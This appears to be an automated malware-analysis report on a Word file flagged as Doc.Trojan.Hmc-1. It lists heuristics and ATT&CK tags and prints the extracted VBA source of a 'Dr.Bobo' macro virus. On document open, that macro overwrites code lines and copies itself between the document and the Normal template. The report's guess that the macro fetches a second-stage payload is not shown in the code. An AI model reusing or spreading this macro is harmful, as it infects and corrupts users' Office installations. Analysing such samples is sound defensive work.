MALICIOUS
122
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample contains a VBA macro that is triggered by the Document_Open event. This macro appears to obfuscate its own code and potentially copy code from the NormalTemplate, suggesting an attempt to hide malicious functionality. The embedded URL and the ClamAV detection further indicate malicious intent, likely to download a second-stage payload.
Heuristics 4
-
ClamAV: Doc.Trojan.Hmc-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Hmc-1
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://bobo.tlsecurity.com In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1278 bytes |
SHA-256: 8083946f740028b446a9e648eab1948e86fed388f60af797ece078fdc8291463 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "dr_bobo_macro_word_db"
Private Sub Document_Open()
'Author: Dr.Bobo [bobo.tlsecurity.com]
'Name: Dr.Bobo.Macro.Word.db
'Origin: Croatia [Hrvatska]
Dim Norm, NormCode, NormLines, Doc, DocCode, DocLines
Set Norm = NormalTemplate.VBProject.VBComponents(1)
Set Doc = ActiveDocument.VBProject.VBComponents(1)
Set DocCode = Doc.CodeModule: Set NormCode = Norm.CodeModule
If DocCode.lines(23, 1) = "" Then
For y = 1 To DocCode.countoflines
DocCode.replacelines y, "Dr.Bobo.Macro.Word.db"
Next y
For x = 2 To NormCode.countoflines
DocCode.insertlines 26 + x, NormCode.lines(x, 1)
Next x
End If
If NormCode.lines(23, 1) = "" Then
For y = 1 To NormCode.countoflines
NormCode.replacelines y, "Dr.Bobo.Macro.Word.db"
Next y
For x = 1 To DocCode.countoflines
NormCode.insertlines 26 + x, DocCode.lines(x, 1)
Next x
End If
End Sub
Private Sub Document_New()
End Sub
Private Sub Document_Close()
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.